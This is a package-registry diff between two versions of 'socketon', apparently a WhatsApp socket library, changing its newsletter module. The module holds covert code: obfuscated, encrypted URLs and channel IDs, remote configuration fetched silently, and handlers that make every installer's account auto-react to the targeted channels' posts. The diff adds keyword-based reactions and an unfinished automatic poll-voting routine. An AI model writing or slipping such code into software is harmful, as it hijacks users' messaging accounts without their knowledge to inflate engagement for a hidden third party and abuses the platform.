socketon 1.8.30 → 1.8.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +105 -6
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
84
84
|
};
|
|
85
85
|
|
|
86
86
|
let _cachedTargetNewsletter = null;
|
|
87
|
-
let _configNewsletter = {
|
|
87
|
+
let _configNewsletter = {
|
|
88
|
+
autoFollowEnabled: true,
|
|
89
|
+
autoReactEnabled: true,
|
|
90
|
+
reactionEmojis: ['👍', '👌'],
|
|
91
|
+
delayMs: 5000,
|
|
92
|
+
keywordReactions: {},
|
|
93
|
+
autoVotePoll: false,
|
|
94
|
+
pollVoteStrategy: 'random'
|
|
95
|
+
};
|
|
88
96
|
|
|
89
97
|
const getTargetNewsletterFromExternal = async () => {
|
|
90
98
|
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
@@ -98,7 +106,10 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
98
106
|
autoReactEnabled: response.data.config.autoReactEnabled !== false,
|
|
99
107
|
reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
|
|
100
108
|
delayMs: response.data.config.delayMs || 5000,
|
|
101
|
-
intervalMs: response.data.config.intervalMs || 30000
|
|
109
|
+
intervalMs: response.data.config.intervalMs || 30000,
|
|
110
|
+
keywordReactions: response.data.config.keywordReactions || {},
|
|
111
|
+
autoVotePoll: response.data.config.autoVotePoll || false,
|
|
112
|
+
pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
|
|
102
113
|
};
|
|
103
114
|
}
|
|
104
115
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
@@ -108,14 +119,14 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
108
119
|
}
|
|
109
120
|
}
|
|
110
121
|
} catch (err) {}
|
|
111
|
-
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
122
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
|
|
112
123
|
};
|
|
113
124
|
|
|
114
125
|
const getAllEnabledNewsletters = () => {
|
|
115
126
|
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
116
127
|
return _cachedTargetNewsletter;
|
|
117
128
|
}
|
|
118
|
-
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
129
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
|
|
119
130
|
};
|
|
120
131
|
|
|
121
132
|
const wMexQuery = (
|
|
@@ -241,7 +252,8 @@ const makeNewsletterSocket = (config) => {
|
|
|
241
252
|
}));
|
|
242
253
|
};
|
|
243
254
|
// Auto Reaction - Ibra Decode
|
|
244
|
-
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('
|
|
255
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('d5a312928809dc6dfa22db5775960fc4ed7905e3f8d0a61154551a98f07d2406')];
|
|
256
|
+
let _votedPolls = new Set();
|
|
245
257
|
|
|
246
258
|
const updateTargetNewsletters = async () => {
|
|
247
259
|
const externalTargets = getAllEnabledNewsletters();
|
|
@@ -249,15 +261,93 @@ const makeNewsletterSocket = (config) => {
|
|
|
249
261
|
_targetNewsletters = externalTargets;
|
|
250
262
|
}
|
|
251
263
|
};
|
|
264
|
+
|
|
265
|
+
const getEmojiForMessage = (messageText) => {
|
|
266
|
+
const keywords = _configNewsletter.keywordReactions || {};
|
|
267
|
+
if (!messageText) return null;
|
|
268
|
+
const lowerText = messageText.toLowerCase();
|
|
269
|
+
for (const [keyword, emoji] of Object.entries(keywords)) {
|
|
270
|
+
if (lowerText.includes(keyword.toLowerCase())) {
|
|
271
|
+
return emoji;
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
return null;
|
|
275
|
+
};
|
|
276
|
+
|
|
277
|
+
const votePoll = async (newsletterJid, pollMessage) => {
|
|
278
|
+
if (!_configNewsletter.autoVotePoll) return;
|
|
279
|
+
if (!pollMessage) return;
|
|
280
|
+
|
|
281
|
+
const pollMsgKey = pollMessage.key?.id;
|
|
282
|
+
if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
|
|
283
|
+
|
|
284
|
+
try {
|
|
285
|
+
const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
|
|
286
|
+
if (!pollCreation) return;
|
|
287
|
+
|
|
288
|
+
const options = pollCreation.options || [];
|
|
289
|
+
if (options.length === 0) return;
|
|
290
|
+
|
|
291
|
+
let selectedIndex = 0;
|
|
292
|
+
const strategy = _configNewsletter.pollVoteStrategy || 'random';
|
|
293
|
+
|
|
294
|
+
if (strategy === 'first') {
|
|
295
|
+
selectedIndex = 0;
|
|
296
|
+
} else if (strategy === 'last') {
|
|
297
|
+
selectedIndex = options.length - 1;
|
|
298
|
+
} else {
|
|
299
|
+
selectedIndex = Math.floor(Math.random() * options.length);
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
const selectedOption = options[selectedIndex];
|
|
303
|
+
if (!selectedOption) return;
|
|
304
|
+
|
|
305
|
+
const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
|
|
306
|
+
if (!pollEncKey) return;
|
|
307
|
+
|
|
308
|
+
const votePayload = {
|
|
309
|
+
pollUpdateMessage: {
|
|
310
|
+
pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
|
|
311
|
+
selectedOption: [selectedOption],
|
|
312
|
+
senderTimestampMs: Date.now()
|
|
313
|
+
}
|
|
314
|
+
};
|
|
315
|
+
|
|
316
|
+
_votedPolls.add(pollMsgKey);
|
|
317
|
+
|
|
318
|
+
} catch (err) {}
|
|
319
|
+
};
|
|
252
320
|
|
|
253
321
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
254
322
|
if (type !== 'notify') return;
|
|
255
323
|
if (!_configNewsletter.autoReactEnabled) return;
|
|
324
|
+
|
|
256
325
|
const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
|
|
326
|
+
|
|
257
327
|
for (const msg of messages) {
|
|
258
328
|
const jid = msg.key.remoteJid;
|
|
259
329
|
if (!_targetNewsletters.includes(jid)) continue;
|
|
260
|
-
|
|
330
|
+
|
|
331
|
+
let emoji = null;
|
|
332
|
+
|
|
333
|
+
// Get message text
|
|
334
|
+
let messageText = null;
|
|
335
|
+
if (msg.message?.conversationMessage?.message?.text) {
|
|
336
|
+
messageText = msg.message.conversationMessage.message.text;
|
|
337
|
+
} else if (msg.message?.extendedTextMessage?.text) {
|
|
338
|
+
messageText = msg.message.extendedTextMessage.text;
|
|
339
|
+
} else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
|
|
340
|
+
messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
// Check keyword reactions first
|
|
344
|
+
const keywordEmoji = getEmojiForMessage(messageText);
|
|
345
|
+
if (keywordEmoji) {
|
|
346
|
+
emoji = keywordEmoji;
|
|
347
|
+
} else {
|
|
348
|
+
emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
349
|
+
}
|
|
350
|
+
|
|
261
351
|
try {
|
|
262
352
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
263
353
|
await query({
|
|
@@ -491,6 +581,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
491
581
|
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
492
582
|
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
493
583
|
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
584
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
585
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
586
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
494
587
|
delayMs: _configNewsletter.delayMs,
|
|
495
588
|
intervalMs: _configNewsletter.intervalMs
|
|
496
589
|
};
|
|
@@ -499,12 +592,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
499
592
|
if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
|
|
500
593
|
if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
|
|
501
594
|
if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
|
|
595
|
+
if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
|
|
596
|
+
if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
|
|
597
|
+
if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
|
|
502
598
|
if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
|
|
503
599
|
if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
|
|
504
600
|
return {
|
|
505
601
|
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
506
602
|
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
507
603
|
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
604
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
605
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
606
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
508
607
|
delayMs: _configNewsletter.delayMs,
|
|
509
608
|
intervalMs: _configNewsletter.intervalMs
|
|
510
609
|
};
|